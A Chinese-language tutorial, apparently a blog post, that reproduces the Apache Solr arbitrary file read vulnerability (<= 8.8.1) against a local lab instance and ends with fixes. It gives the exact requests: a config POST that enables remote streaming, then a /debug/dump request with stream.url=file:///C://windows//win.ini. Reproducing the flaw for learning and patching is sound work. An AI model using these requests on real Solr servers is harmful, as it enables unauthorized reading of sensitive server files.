Apache Solr 任意文件读取漏洞详细解析

Apache Solr简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
PS:XML是一个文本文件,类似于HTML是一种标记语言。
API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。
通俗说就是把软件里需要的功能打包好,写成一个函数,再次调用使用时就不用从头看一遍软件的源码和功能实现过程。
Apache Solr 任意文件读取漏洞说明
Apache-Solr任意文件读取漏洞漏洞,影响范围(Apache Solr version<= 8.8.1)攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。

准备工作

Apache Solr <= 8.8.1
Java环境(Burpsuite和solr start)
Burpsuite

搭建环境:
http://archive.apache.org/dist/lucene/solr/8.8.0/
下载这个
在这里插入图片描述
然后解压到自定义目录中
Apache Solr 任意文件读取漏洞详细解析_第1张图片
大概是这个样子

Apache Solr环境启动

win10系统中
在bin目录下shift+右键 打开PowerShell窗口
在命令框中输入./solr start启动Apache服务

Apache Solr 任意文件读取漏洞详细解析_第2张图片
图示则启动成功

复现过程

本机环境下复现、首先要创建一个core
http://localhost:8983/solr/
Apache Solr 任意文件读取漏洞详细解析_第3张图片
创建任意命名的core,会产生报错,由于缺少配置文件。
前往目录solr-8.8.0\server\solr\configsets_default\conf,将该文件夹下的所有配置文件复制到要创建的core目录中

Apache Solr 任意文件读取漏洞详细解析_第4张图片

再次创建core,成功。

运行Burpsuite,开始抓包(共三个)

访问
http://localhost:8983/solr/admin/cores
这个目录下存储着solr的所有core的基本信息

将抓到的包发送到repeater->go
Apache Solr 任意文件读取漏洞详细解析_第5张图片

获得core的名字

得到core的名字就可以访问core的配置文件
配置文件在 http://localhost:8983/solr/429(core的名字)/config中

Apache Solr 任意文件读取漏洞详细解析_第6张图片
需将头部的GET改为POST
之后在抓到的包下写入
{“set-property”:{“requestDispatcher.requestParsers.enableRemoteStreaming”:true}}
启用远程流

最后
http://localhost:8983/solr/429(core名)/debug/dump
ps:切记以POST方式访问,得到content-type的回显,才能返回stream流
stream.url=file:///C://windows//win.ini
右键可以转换访问方式
Apache Solr 任意文件读取漏洞详细解析_第7张图片

Apache Solr 任意文件读取漏洞详细解析_第8张图片

访问到win.ini中的敏感信息

修复建议

1.开启身份验证/授权
2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的 IP和用户才能访问
3.禁止将Apache Solr放置在外网

你可能感兴趣的:(Apache Solr 任意文件读取漏洞详细解析)